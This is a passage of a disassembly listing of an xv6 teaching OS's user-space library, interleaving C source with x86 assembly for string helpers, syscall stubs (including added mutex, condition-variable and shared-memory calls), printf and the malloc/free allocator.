b3 jl 17d <gets+0xf> 1ca: eb 01 jmp 1cd <gets+0x5f> cc = read(0, &c, 1); if (cc < 1) break; 1cc: 90 nop buf[i++] = c; if (c == '\n' || c == '\r') break; } buf[i] = '\0'; 1cd: 8b 55 f4 mov -0xc(%ebp),%edx 1d0: 8b 45 08 mov 0x8(%ebp),%eax 1d3: 01 d0 add %edx,%eax 1d5: c6 00 00 movb $0x0,(%eax) return buf; 1d8: 8b 45 08 mov 0x8(%ebp),%eax } 1db: c9 leave 1dc: c3 ret 000001dd <stat>: int stat(char *n, struct stat *st) { 1dd: 55 push %ebp 1de: 89 e5 mov %esp,%ebp 1e0: 83 ec 18 sub $0x18,%esp int fd; int r; fd = open(n, O_RDONLY); 1e3: 83 ec 08 sub $0x8,%esp 1e6: 6a 00 push $0x0 1e8: ff 75 08 pushl 0x8(%ebp) 1eb: e8 0c 01 00 00 call 2fc <open> 1f0: 83 c4 10 add $0x10,%esp 1f3: 89 45 f4 mov %eax,-0xc(%ebp) if (fd < 0) 1f6: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 1fa: 79 07 jns 203 <stat+0x26> return -1; 1fc: b8 ff ff ff ff mov $0xffffffff,%eax 201: eb 25 jmp 228 <stat+0x4b> r = fstat(fd, st); 203: 83 ec 08 sub $0x8,%esp 206: ff 75 0c pushl 0xc(%ebp) 209: ff 75 f4 pushl -0xc(%ebp) 20c: e8 03 01 00 00 call 314 <fstat> 211: 83 c4 10 add $0x10,%esp 214: 89 45 f0 mov %eax,-0x10(%ebp) close(fd); 217: 83 ec 0c sub $0xc,%esp 21a: ff 75 f4 pushl -0xc(%ebp) 21d: e8 c2 00 00 00 call 2e4 <close> 222: 83 c4 10 add $0x10,%esp return r; 225: 8b 45 f0 mov -0x10(%ebp),%eax } 228: c9 leave 229: c3 ret 0000022a <atoi>: int atoi(const char *s) { 22a: 55 push %ebp 22b: 89 e5 mov %esp,%ebp 22d: 83 ec 10 sub $0x10,%esp int n; n = 0; 230: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp) while ('0' <= *s && *s <= '9') 237: eb 25 jmp 25e <atoi+0x34> n = n * 10 + *s++ - '0'; 239: 8b 55 fc mov -0x4(%ebp),%edx 23c: 89 d0 mov %edx,%eax 23e: c1 e0 02 shl $0x2,%eax 241: 01 d0 add %edx,%eax 243: 01 c0 add %eax,%eax 245: 89 c1 mov %eax,%ecx 247: 8b 45 08 mov 0x8(%ebp),%eax 24a: 8d 50 01 lea 0x1(%eax),%edx 24d: 89 55 08 mov %edx,0x8(%ebp) 250: 0f b6 00 movzbl (%eax),%eax 253: 0f be c0 movsbl %al,%eax 256: 01 c8 add %ecx,%eax 258: 83 e8 30 sub $0x30,%eax 25b: 89 45 fc mov %eax,-0x4(%ebp) int atoi(const char *s) { int n; n = 0; while ('0' <= *s && *s <= '9') 25e: 8b 45 08 mov 0x8(%ebp),%eax 261: 0f b6 00 movzbl (%eax),%eax 264: 3c 2f cmp $0x2f,%al 266: 7e 0a jle 272 <atoi+0x48> 268: 8b 45 08 mov 0x8(%ebp),%eax 26b: 0f b6 00 movzbl (%eax),%eax 26e: 3c 39 cmp $0x39,%al 270: 7e c7 jle 239 <atoi+0xf> n = n * 10 + *s++ - '0'; return n; 272: 8b 45 fc mov -0x4(%ebp),%eax } 275: c9 leave 276: c3 ret 00000277 <memmove>: void *memmove(void *vdst, void *vsrc, int n) { 277: 55 push %ebp 278: 89 e5 mov %esp,%ebp 27a: 83 ec 10 sub $0x10,%esp char *dst, *src; dst = vdst; 27d: 8b 45 08 mov 0x8(%ebp),%eax 280: 89 45 fc mov %eax,-0x4(%ebp) src = vsrc; 283: 8b 45 0c mov 0xc(%ebp),%eax 286: 89 45 f8 mov %eax,-0x8(%ebp) while (n-- > 0) 289: eb 17 jmp 2a2 <memmove+0x2b> *dst++ = *src++; 28b: 8b 45 fc mov -0x4(%ebp),%eax 28e: 8d 50 01 lea 0x1(%eax),%edx 291: 89 55 fc mov %edx,-0x4(%ebp) 294: 8b 55 f8 mov -0x8(%ebp),%edx 297: 8d 4a 01 lea 0x1(%edx),%ecx 29a: 89 4d f8 mov %ecx,-0x8(%ebp) 29d: 0f b6 12 movzbl (%edx),%edx 2a0: 88 10 mov %dl,(%eax) { char *dst, *src; dst = vdst; src = vsrc; while (n-- > 0) 2a2: 8b 45 10 mov 0x10(%ebp),%eax 2a5: 8d 50 ff lea -0x1(%eax),%edx 2a8: 89 55 10 mov %edx,0x10(%ebp) 2ab: 85 c0 test %eax,%eax 2ad: 7f dc jg 28b <memmove+0x14> *dst++ = *src++; return vdst; 2af: 8b 45 08 mov 0x8(%ebp),%eax } 2b2: c9 leave 2b3: c3 ret 000002b4 <fork>: name: \ movl $SYS_ ## name, %eax; \ int $T_SYSCALL; \ ret SYSCALL(fork) 2b4: b8 01 00 00 00 mov $0x1,%eax 2b9: cd 40 int $0x40 2bb: c3 ret 000002bc <exit>: SYSCALL(exit) 2bc: b8 02 00 00 00 mov $0x2,%eax 2c1: cd 40 int $0x40 2c3: c3 ret 000002c4 <wait>: SYSCALL(wait) 2c4: b8 03 00 00 00 mov $0x3,%eax 2c9: cd 40 int $0x40 2cb: c3 ret 000002cc <pipe>: SYSCALL(pipe) 2cc: b8 04 00 00 00 mov $0x4,%eax 2d1: cd 40 int $0x40 2d3: c3 ret 000002d4 <read>: SYSCALL(read) 2d4: b8 05 00 00 00 mov $0x5,%eax 2d9: cd 40 int $0x40 2db: c3 ret 000002dc <write>: SYSCALL(write) 2dc: b8 10 00 00 00 mov $0x10,%eax 2e1: cd 40 int $0x40 2e3: c3 ret 000002e4 <close>: SYSCALL(close) 2e4: b8 15 00 00 00 mov $0x15,%eax 2e9: cd 40 int $0x40 2eb: c3 ret 000002ec <kill>: SYSCALL(kill) 2ec: b8 06 00 00 00 mov $0x6,%eax 2f1: cd 40 int $0x40 2f3: c3 ret 000002f4 <exec>: SYSCALL(exec) 2f4: b8 07 00 00 00 mov $0x7,%eax 2f9: cd 40 int $0x40 2fb: c3 ret 000002fc <open>: SYSCALL(open) 2fc: b8 0f 00 00 00 mov $0xf,%eax 301: cd 40 int $0x40 303: c3 ret 00000304 <mknod>: SYSCALL(mknod) 304: b8 11 00 00 00 mov $0x11,%eax 309: cd 40 int $0x40 30b: c3 ret 0000030c <unlink>: SYSCALL(unlink) 30c: b8 12 00 00 00 mov $0x12,%eax 311: cd 40 int $0x40 313: c3 ret 00000314 <fstat>: SYSCALL(fstat) 314: b8 08 00 00 00 mov $0x8,%eax 319: cd 40 int $0x40 31b: c3 ret 0000031c <link>: SYSCALL(link) 31c: b8 13 00 00 00 mov $0x13,%eax 321: cd 40 int $0x40 323: c3 ret 00000324 <mkdir>: SYSCALL(mkdir) 324: b8 14 00 00 00 mov $0x14,%eax 329: cd 40 int $0x40 32b: c3 ret 0000032c <chdir>: SYSCALL(chdir) 32c: b8 09 00 00 00 mov $0x9,%eax 331: cd 40 int $0x40 333: c3 ret 00000334 <dup>: SYSCALL(dup) 334: b8 0a 00 00 00 mov $0xa,%eax 339: cd 40 int $0x40 33b: c3 ret 0000033c <getpid>: SYSCALL(getpid) 33c: b8 0b 00 00 00 mov $0xb,%eax 341: cd 40 int $0x40 343: c3 ret 00000344 <sbrk>: SYSCALL(sbrk) 344: b8 0c 00 00 00 mov $0xc,%eax 349: cd 40 int $0x40 34b: c3 ret 0000034c <sleep>: SYSCALL(sleep) 34c: b8 0d 00 00 00 mov $0xd,%eax 351: cd 40 int $0x40 353: c3 ret 00000354 <uptime>: SYSCALL(uptime) 354: b8 0e 00 00 00 mov $0xe,%eax 359: cd 40 int $0x40 35b: c3 ret 0000035c <shm_get>: SYSCALL(shm_get) //mod2 35c: b8 1c 00 00 00 mov $0x1c,%eax 361: cd 40 int $0x40 363: c3 ret 00000364 <shm_rem>: SYSCALL(shm_rem) //mod2 364: b8 1d 00 00 00 mov $0x1d,%eax 369: cd 40 int $0x40 36b: c3 ret 0000036c <setHighPrio>: SYSCALL(setHighPrio) //scheduler 36c: b8 1e 00 00 00 mov $0x1e,%eax 371: cd 40 int $0x40 373: c3 ret 00000374 <mutex_create>: SYSCALL(mutex_create)//mod3 374: b8 16 00 00 00 mov $0x16,%eax 379: cd 40 int $0x40 37b: c3 ret 0000037c <mutex_delete>: SYSCALL(mutex_delete) 37c: b8 17 00 00 00 mov $0x17,%eax 381: cd 40 int $0x40 383: c3 ret 00000384 <mutex_lock>: SYSCALL(mutex_lock) 384: b8 18 00 00 00 mov $0x18,%eax 389: cd 40 int $0x40 38b: c3 ret 0000038c <mutex_unlock>: SYSCALL(mutex_unlock) 38c: b8 19 00 00 00 mov $0x19,%eax 391: cd 40 int $0x40 393: c3 ret 00000394 <cv_wait>: SYSCALL(cv_wait) 394: b8 1a 00 00 00 mov $0x1a,%eax 399: cd 40 int $0x40 39b: c3 ret 0000039c <cv_signal>: SYSCALL(cv_signal) 39c: b8 1b 00 00 00 mov $0x1b,%eax 3a1: cd 40 int $0x40 3a3: c3 ret 000003a4 <putc>: #include "types.h" #include "stat.h" #include "user.h" static void putc(int fd, char c) { 3a4: 55 push %ebp 3a5: 89 e5 mov %esp,%ebp 3a7: 83 ec 18 sub $0x18,%esp 3aa: 8b 45 0c mov 0xc(%ebp),%eax 3ad: 88 45 f4 mov %al,-0xc(%ebp) write(fd, &c, 1); 3b0: 83 ec 04 sub $0x4,%esp 3b3: 6a 01 push $0x1 3b5: 8d 45 f4 lea -0xc(%ebp),%eax 3b8: 50 push %eax 3b9: ff 75 08 pushl 0x8(%ebp) 3bc: e8 1b ff ff ff call 2dc <write> 3c1: 83 c4 10 add $0x10,%esp } 3c4: 90 nop 3c5: c9 leave 3c6: c3 ret 000003c7 <printint>: static void printint(int fd, int xx, int base, int sgn) { 3c7: 55 push %ebp 3c8: 89 e5 mov %esp,%ebp 3ca: 53 push %ebx 3cb: 83 ec 24 sub $0x24,%esp static char digits[] = "0123456789ABCDEF"; char buf[16]; int i, neg; uint x; neg = 0; 3ce: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp) if (sgn && xx < 0) { 3d5: 83 7d 14 00 cmpl $0x0,0x14(%ebp) 3d9: 74 17 je 3f2 <printint+0x2b> 3db: 83 7d 0c 00 cmpl $0x0,0xc(%ebp) 3df: 79 11 jns 3f2 <printint+0x2b> neg = 1; 3e1: c7 45 f0 01 00 00 00 movl $0x1,-0x10(%ebp) x = -xx; 3e8: 8b 45 0c mov 0xc(%ebp),%eax 3eb: f7 d8 neg %eax 3ed: 89 45 ec mov %eax,-0x14(%ebp) 3f0: eb 06 jmp 3f8 <printint+0x31> } else { x = xx; 3f2: 8b 45 0c mov 0xc(%ebp),%eax 3f5: 89 45 ec mov %eax,-0x14(%ebp) } i = 0; 3f8: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) do { buf[i++] = digits[x % base]; 3ff: 8b 4d f4 mov -0xc(%ebp),%ecx 402: 8d 41 01 lea 0x1(%ecx),%eax 405: 89 45 f4 mov %eax,-0xc(%ebp) 408: 8b 5d 10 mov 0x10(%ebp),%ebx 40b: 8b 45 ec mov -0x14(%ebp),%eax 40e: ba 00 00 00 00 mov $0x0,%edx 413: f7 f3 div %ebx 415: 89 d0 mov %edx,%eax 417: 0f b6 80 90 0a 00 00 movzbl 0xa90(%eax),%eax 41e: 88 44 0d dc mov %al,-0x24(%ebp,%ecx,1) } while ((x /= base) != 0); 422: 8b 5d 10 mov 0x10(%ebp),%ebx 425: 8b 45 ec mov -0x14(%ebp),%eax 428: ba 00 00 00 00 mov $0x0,%edx 42d: f7 f3 div %ebx 42f: 89 45 ec mov %eax,-0x14(%ebp) 432: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 436: 75 c7 jne 3ff <printint+0x38> if (neg) 438: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 43c: 74 2d je 46b <printint+0xa4> buf[i++] = '-'; 43e: 8b 45 f4 mov -0xc(%ebp),%eax 441: 8d 50 01 lea 0x1(%eax),%edx 444: 89 55 f4 mov %edx,-0xc(%ebp) 447: c6 44 05 dc 2d movb $0x2d,-0x24(%ebp,%eax,1) while (--i >= 0) 44c: eb 1d jmp 46b <printint+0xa4> putc(fd, buf[i]); 44e: 8d 55 dc lea -0x24(%ebp),%edx 451: 8b 45 f4 mov -0xc(%ebp),%eax 454: 01 d0 add %edx,%eax 456: 0f b6 00 movzbl (%eax),%eax 459: 0f be c0 movsbl %al,%eax 45c: 83 ec 08 sub $0x8,%esp 45f: 50 push %eax 460: ff 75 08 pushl 0x8(%ebp) 463: e8 3c ff ff ff call 3a4 <putc> 468: 83 c4 10 add $0x10,%esp buf[i++] = digits[x % base]; } while ((x /= base) != 0); if (neg) buf[i++] = '-'; while (--i >= 0) 46b: 83 6d f4 01 subl $0x1,-0xc(%ebp) 46f: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 473: 79 d9 jns 44e <printint+0x87> putc(fd, buf[i]); } 475: 90 nop 476: 8b 5d fc mov -0x4(%ebp),%ebx 479: c9 leave 47a: c3 ret 0000047b <printf>: // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, char *fmt, ...) { 47b: 55 push %ebp 47c: 89 e5 mov %esp,%ebp 47e: 83 ec 28 sub $0x28,%esp char *s; int c, i, state; uint *ap; state = 0; 481: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp) ap = (uint *) (void *)&fmt + 1; 488: 8d 45 0c lea 0xc(%ebp),%eax 48b: 83 c0 04 add $0x4,%eax 48e: 89 45 e8 mov %eax,-0x18(%ebp) for (i = 0; fmt[i]; i++) { 491: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp) 498: e9 59 01 00 00 jmp 5f6 <printf+0x17b> c = fmt[i] & 0xff; 49d: 8b 55 0c mov 0xc(%ebp),%edx 4a0: 8b 45 f0 mov -0x10(%ebp),%eax 4a3: 01 d0 add %edx,%eax 4a5: 0f b6 00 movzbl (%eax),%eax 4a8: 0f be c0 movsbl %al,%eax 4ab: 25 ff 00 00 00 and $0xff,%eax 4b0: 89 45 e4 mov %eax,-0x1c(%ebp) if (state == 0) { 4b3: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 4b7: 75 2c jne 4e5 <printf+0x6a> if (c == '%') { 4b9: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp) 4bd: 75 0c jne 4cb <printf+0x50> state = '%'; 4bf: c7 45 ec 25 00 00 00 movl $0x25,-0x14(%ebp) 4c6: e9 27 01 00 00 jmp 5f2 <printf+0x177> } else { putc(fd, c); 4cb: 8b 45 e4 mov -0x1c(%ebp),%eax 4ce: 0f be c0 movsbl %al,%eax 4d1: 83 ec 08 sub $0x8,%esp 4d4: 50 push %eax 4d5: ff 75 08 pushl 0x8(%ebp) 4d8: e8 c7 fe ff ff call 3a4 <putc> 4dd: 83 c4 10 add $0x10,%esp 4e0: e9 0d 01 00 00 jmp 5f2 <printf+0x177> } } else if (state == '%') { 4e5: 83 7d ec 25 cmpl $0x25,-0x14(%ebp) 4e9: 0f 85 03 01 00 00 jne 5f2 <printf+0x177> if (c == 'd') { 4ef: 83 7d e4 64 cmpl $0x64,-0x1c(%ebp) 4f3: 75 1e jne 513 <printf+0x98> printint(fd, *ap, 10, 1); 4f5: 8b 45 e8 mov -0x18(%ebp),%eax 4f8: 8b 00 mov (%eax),%eax 4fa: 6a 01 push $0x1 4fc: 6a 0a push $0xa 4fe: 50 push %eax 4ff: ff 75 08 pushl 0x8(%ebp) 502: e8 c0 fe ff ff call 3c7 <printint> 507: 83 c4 10 add $0x10,%esp ap++; 50a: 83 45 e8 04 addl $0x4,-0x18(%ebp) 50e: e9 d8 00 00 00 jmp 5eb <printf+0x170> } else if (c == 'x' || c == 'p') { 513: 83 7d e4 78 cmpl $0x78,-0x1c(%ebp) 517: 74 06 je 51f <printf+0xa4> 519: 83 7d e4 70 cmpl $0x70,-0x1c(%ebp) 51d: 75 1e jne 53d <printf+0xc2> printint(fd, *ap, 16, 0); 51f: 8b 45 e8 mov -0x18(%ebp),%eax 522: 8b 00 mov (%eax),%eax 524: 6a 00 push $0x0 526: 6a 10 push $0x10 528: 50 push %eax 529: ff 75 08 pushl 0x8(%ebp) 52c: e8 96 fe ff ff call 3c7 <printint> 531: 83 c4 10 add $0x10,%esp ap++; 534: 83 45 e8 04 addl $0x4,-0x18(%ebp) 538: e9 ae 00 00 00 jmp 5eb <printf+0x170> } else if (c == 's') { 53d: 83 7d e4 73 cmpl $0x73,-0x1c(%ebp) 541: 75 43 jne 586 <printf+0x10b> s = (char *)*ap; 543: 8b 45 e8 mov -0x18(%ebp),%eax 546: 8b 00 mov (%eax),%eax 548: 89 45 f4 mov %eax,-0xc(%ebp) ap++; 54b: 83 45 e8 04 addl $0x4,-0x18(%ebp) if (s == 0) 54f: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 553: 75 25 jne 57a <printf+0xff> s = "(null)"; 555: c7 45 f4 3a 08 00 00 movl $0x83a,-0xc(%ebp) while (*s != 0) { 55c: eb 1c jmp 57a <printf+0xff> putc(fd, *s); 55e: 8b 45 f4 mov -0xc(%ebp),%eax 561: 0f b6 00 movzbl (%eax),%eax 564: 0f be c0 movsbl %al,%eax 567: 83 ec 08 sub $0x8,%esp 56a: 50 push %eax 56b: ff 75 08 pushl 0x8(%ebp) 56e: e8 31 fe ff ff call 3a4 <putc> 573: 83 c4 10 add $0x10,%esp s++; 576: 83 45 f4 01 addl $0x1,-0xc(%ebp) } else if (c == 's') { s = (char *)*ap; ap++; if (s == 0) s = "(null)"; while (*s != 0) { 57a: 8b 45 f4 mov -0xc(%ebp),%eax 57d: 0f b6 00 movzbl (%eax),%eax 580: 84 c0 test %al,%al 582: 75 da jne 55e <printf+0xe3> 584: eb 65 jmp 5eb <printf+0x170> putc(fd, *s); s++; } } else if (c == 'c') { 586: 83 7d e4 63 cmpl $0x63,-0x1c(%ebp) 58a: 75 1d jne 5a9 <printf+0x12e> putc(fd, *ap); 58c: 8b 45 e8 mov -0x18(%ebp),%eax 58f: 8b 00 mov (%eax),%eax 591: 0f be c0 movsbl %al,%eax 594: 83 ec 08 sub $0x8,%esp 597: 50 push %eax 598: ff 75 08 pushl 0x8(%ebp) 59b: e8 04 fe ff ff call 3a4 <putc> 5a0: 83 c4 10 add $0x10,%esp ap++; 5a3: 83 45 e8 04 addl $0x4,-0x18(%ebp) 5a7: eb 42 jmp 5eb <printf+0x170> } else if (c == '%') { 5a9: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp) 5ad: 75 17 jne 5c6 <printf+0x14b> putc(fd, c); 5af: 8b 45 e4 mov -0x1c(%ebp),%eax 5b2: 0f be c0 movsbl %al,%eax 5b5: 83 ec 08 sub $0x8,%esp 5b8: 50 push %eax 5b9: ff 75 08 pushl 0x8(%ebp) 5bc: e8 e3 fd ff ff call 3a4 <putc> 5c1: 83 c4 10 add $0x10,%esp 5c4: eb 25 jmp 5eb <printf+0x170> } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); 5c6: 83 ec 08 sub $0x8,%esp 5c9: 6a 25 push $0x25 5cb: ff 75 08 pushl 0x8(%ebp) 5ce: e8 d1 fd ff ff call 3a4 <putc> 5d3: 83 c4 10 add $0x10,%esp putc(fd, c); 5d6: 8b 45 e4 mov -0x1c(%ebp),%eax 5d9: 0f be c0 movsbl %al,%eax 5dc: 83 ec 08 sub $0x8,%esp 5df: 50 push %eax 5e0: ff 75 08 pushl 0x8(%ebp) 5e3: e8 bc fd ff ff call 3a4 <putc> 5e8: 83 c4 10 add $0x10,%esp } state = 0; 5eb: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp) int c, i, state; uint *ap; state = 0; ap = (uint *) (void *)&fmt + 1; for (i = 0; fmt[i]; i++) { 5f2: 83 45 f0 01 addl $0x1,-0x10(%ebp) 5f6: 8b 55 0c mov 0xc(%ebp),%edx 5f9: 8b 45 f0 mov -0x10(%ebp),%eax 5fc: 01 d0 add %edx,%eax 5fe: 0f b6 00 movzbl (%eax),%eax 601: 84 c0 test %al,%al 603: 0f 85 94 fe ff ff jne 49d <printf+0x22> putc(fd, c); } state = 0; } } } 609: 90 nop 60a: c9 leave 60b: c3 ret 0000060c <free>: static Header base; static Header *freep; void free(void *ap) { 60c: 55 push %ebp 60d: 89 e5 mov %esp,%ebp 60f: 83 ec 10 sub $0x10,%esp Header *bp, *p; bp = (Header *) ap - 1; //take address of memory -> subtract one size of p to get to header to memeory 612: 8b 45 08 mov 0x8(%ebp),%eax 615: 83 e8 08 sub $0x8,%eax 618: 89 45 f8 mov %eax,-0x8(%ebp) for (p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) //comparing pointers to headers...maybe ordering spatially... 61b: a1 ac 0a 00 00 mov 0xaac,%eax 620: 89 45 fc mov %eax,-0x4(%ebp) 623: eb 24 jmp 649 <free+0x3d> if (p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 625: 8b 45 fc mov -0x4(%ebp),%eax 628: 8b 00 mov (%eax),%eax 62a: 3b 45 fc cmp -0x4(%ebp),%eax 62d: 77 12 ja 641 <free+0x35> 62f: 8b 45 f8 mov -0x8(%ebp),%eax 632: 3b 45 fc cmp -0x4(%ebp),%eax 635: 77 24 ja 65b <free+0x4f> 637: 8b 45 fc mov -0x4(%ebp),%eax 63a: 8b 00 mov (%eax),%eax 63c: 3b 45 f8 cmp -0x8(%ebp),%eax 63f: 77 1a ja 65b <free+0x4f> void free(void *ap) { Header *bp, *p; bp = (Header *) ap - 1; //take address of memory -> subtract one size of p to get to header to memeory for (p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) //comparing pointers to headers...maybe ordering spatially... 641: 8b 45 fc mov -0x4(%ebp),%eax 644: 8b 00 mov (%eax),%eax 646: 89 45 fc mov %eax,-0x4(%ebp) 649: 8b 45 f8 mov -0x8(%ebp),%eax 64c: 3b 45 fc cmp -0x4(%ebp),%eax 64f: 76 d4 jbe 625 <free+0x19> 651: 8b 45 fc mov -0x4(%ebp),%eax 654: 8b 00 mov (%eax),%eax 656: 3b 45 f8 cmp -0x8(%ebp),%eax 659: 76 ca jbe 625 <free+0x19> if (p >= p->s.ptr && (bp > p || bp < p->s.ptr)) break; if (bp + bp->s.size == p->s.ptr) { //checks sizes to merge contiguous freed regions 65b: 8b 45 f8 mov -0x8(%ebp),%eax 65e: 8b 40 04 mov 0x4(%eax),%eax 661: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx 668: 8b 45 f8 mov -0x8(%ebp),%eax 66b: 01 c2 add %eax,%edx 66d: 8b 45 fc mov -0x4(%ebp),%eax 670: 8b 00 mov (%eax),%eax 672: 39 c2 cmp %eax,%edx 674: 75 24 jne 69a <free+0x8e> bp->s.size += p->s.ptr->s.size; 676: 8b 45 f8 mov -0x8(%ebp),%eax 679: 8b 50 04 mov 0x4(%eax),%edx 67c: 8b 45 fc mov -0x4(%ebp),%eax 67f: 8b 00 mov (%eax),%eax 681: 8b 40 04 mov 0x4(%eax),%eax 684: 01 c2 add %eax,%edx 686: 8b 45 f8 mov -0x8(%ebp),%eax 689: 89 50 04 mov %edx,0x4(%eax) bp->s.ptr = p->s.ptr->s.ptr; 68c: 8b 45 fc mov -0x4(%ebp),%eax 68f: 8b 00 mov (%eax),%eax 691: 8b 10 mov (%eax),%edx 693: 8b 45 f8 mov -0x8(%ebp),%eax 696: 89 10 mov %edx,(%eax) 698: eb 0a jmp 6a4 <free+0x98> } else bp->s.ptr = p->s.ptr; 69a: 8b 45 fc mov -0x4(%ebp),%eax 69d: 8b 10 mov (%eax),%edx 69f: 8b 45 f8 mov -0x8(%ebp),%eax 6a2: 89 10 mov %edx,(%eax) if (p + p->s.size == bp) { 6a4: 8b 45 fc mov -0x4(%ebp),%eax 6a7: 8b 40 04 mov 0x4(%eax),%eax 6aa: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx 6b1: 8b 45 fc mov -0x4(%ebp),%eax 6b4: 01 d0 add %edx,%eax 6b6: 3b 45 f8 cmp -0x8(%ebp),%eax 6b9: 75 20 jne 6db <free+0xcf> p->s.size += bp->s.size; 6bb: 8b 45 fc mov -0x4(%ebp),%eax 6be: 8b 50 04 mov 0x4(%eax),%edx 6c1: 8b 45 f8 mov -0x8(%ebp),%eax 6c4: 8b 40 04 mov 0x4(%eax),%eax 6c7: 01 c2 add %eax,%edx 6c9: 8b 45 fc mov -0x4(%ebp),%eax 6cc: 89 50 04 mov %edx,0x4(%eax) p->s.ptr = bp->s.ptr; 6cf: 8b 45 f8 mov -0x8(%ebp),%eax 6d2: 8b 10 mov (%eax),%edx 6d4: 8b 45 fc mov -0x4(%ebp),%eax 6d7: 89 10 mov %edx,(%eax) 6d9: eb 08 jmp 6e3 <free+0xd7> } else p->s.ptr = bp; 6db: 8b 45 fc mov -0x4(%ebp),%eax 6de: 8b 55 f8 mov -0x8(%ebp),%edx 6e1: 89 10 mov %edx,(%eax) freep = p; 6e3: 8b 45 fc mov -0x4(%ebp),%eax 6e6: a3 ac 0a 00 00 mov %eax,0xaac } 6eb: 90 nop 6ec: c9 leave 6ed: c3 ret 000006ee <morecore>: static Header *morecore(uint nu) { 6ee: 55 push %ebp 6ef: 89 e5 mov %esp,%ebp 6f1: 83 ec 18 sub $0x18,%esp char *p; Header *hp; if (nu < 4096) 6f4: 81 7d 08 ff 0f 00 00 cmpl $0xfff,0x8(%ebp) 6fb: 77 07 ja 704 <morecore+0x16> nu = 4096; 6fd: c7 45 08 00 10 00 00 movl $0x1000,0x8(%ebp) p = sbrk(nu * sizeof(Header)); 704: 8b 45 08 mov 0x8(%ebp),%eax 707: c1 e0 03 shl $0x3,%eax 70a: 83 ec 0c sub $0xc,%esp 70d: 50 push %eax 70e: e8 31 fc ff ff call 344 <sbrk> 713: 83 c4 10 add $0x10,%esp 716: 89 45 f4 mov %eax,-0xc(%ebp) if (p == (char *)-1) 719: 83 7d f4 ff cmpl $0xffffffff,-0xc(%ebp) 71d: 75 07 jne 726 <morecore+0x38> return 0; 71f: b8 00 00 00 00 mov $0x0,%eax 724: eb 26 jmp 74c <morecore+0x5e> hp = (Header *) p; 726: 8b 45 f4 mov -0xc(%ebp),%eax 729: 89 45 f0 mov %eax,-0x10(%ebp) hp->s.size = nu; 72c: 8b 45 f0 mov -0x10(%ebp),%eax 72f: 8b 55 08 mov 0x8(%ebp),%edx 732: 89 50 04 mov %edx,0x4(%eax) free((void *)(hp + 1)); 735: 8b 45 f0 mov -0x10(%ebp),%eax 738: 83 c0 08 add $0x8,%eax 73b: 83 ec 0c sub $0xc,%esp 73e: 50 push %eax 73f: e8 c8 fe ff ff call 60c <free> 744: 83 c4 10 add $0x10,%esp return freep; 747: a1 ac 0a 00 00 mov 0xaac,%eax } 74c: c9 leave 74d: c3 ret 0000074e <malloc>: void *malloc(uint nbytes) { 74e: 55 push %ebp 74f: 89 e5 mov %esp,%ebp 751: 83 ec 18 sub $0x18,%esp Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1) / sizeof(Header) + 1; 754: 8b 45 08 mov 0x8(%ebp),%eax 757: 83 c0 07 add $0x7,%eax 75a: c1 e8 03 shr $0x3,%eax 75d: 83 c0 01 add $0x1,%eax 760: 89 45 ec mov %eax,-0x14(%ebp) if ((prevp = freep) == 0) { 763: a1 ac 0a 00 00 mov 0xaac,%eax 768: 89 45 f0 mov %eax,-0x10(%ebp) 76b: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 76f: 75 23 jne 794 <malloc+0x46> base.s.ptr = freep = prevp = &base; 771: c7 45 f0 a4 0a 00 00 movl $0xaa4,-0x10(%ebp) 778: 8b 45 f0 mov -0x10(%ebp),%eax 77b: a3 ac 0a 00 00 mov %eax,0xaac 780: a1 ac 0a 00 00 mov 0xaac,%eax 785: a3 a4 0a 00 00 mov %eax,0xaa4 base.s.size = 0; 78a: c7 05 a8 0a 00 00 00 movl $0x0,0xaa8 791: 00 00 00 } for (p = prevp->s.ptr;; prevp = p, p = p->s.ptr) { 794: 8b 45 f0 mov -0x10(%ebp),%eax 797: 8b 00 mov (%eax),%eax 799: 89 45 f4 mov %eax,-0xc(%ebp) if (p->s.size >= nunits) { 79c: 8b 45 f4 mov -0xc(%ebp),%eax 79f: 8b 40 04 mov 0x4(%eax),%eax 7a2: 3b 45 ec cmp -0x14(%ebp),%eax 7a5: 72 4d jb 7f4 <malloc+0xa6> if (p->s.size == nunits) 7a7: 8b 45 f4 mov -0xc(%ebp),%eax 7aa: 8b 40 04 mov 0x4(%eax),%eax 7ad: 3b 45 ec cmp -0x14(%ebp),%eax 7b0: 75 0c jne 7be <malloc+0x70> prevp->s.ptr = p->s.ptr; 7b2: 8b 45 f4 mov -0xc(%ebp),%eax 7b5: 8b 10 mov (%eax),%edx 7b7: 8b 45 f0 mov -0x10(%ebp),%eax 7ba: 89 10 mov %edx,(%eax) 7bc: eb 26 jmp 7e4 <malloc+0x96> else { p->s.size -= nunits; 7be: 8b 45 f4 mov -0xc(%ebp),%eax 7c1: 8b 40 04 mov 0x4(%eax),%eax 7c4: 2b 45 ec sub -0x14(%ebp),%eax 7c7: 89 c2 mov %eax,%edx 7c9: 8b 45 f4 mov -0xc(%ebp),%eax 7cc: 89 50 04 mov %edx,0x4(%eax) p += p->s.size; 7cf: 8b 45 f4 mov -0xc(%ebp),%eax 7d2: 8b 40 04 mov 0x4(%eax),%eax 7d5: c1 e0 03 shl $0x3,%eax 7d8: 01 45 f4 add %eax,-0xc(%ebp) p->s.size = nunits; 7db: 8b 45 f4 mov -0xc(%ebp),%eax 7de: 8b 55 ec mov -0x14(%ebp),%edx 7e1: 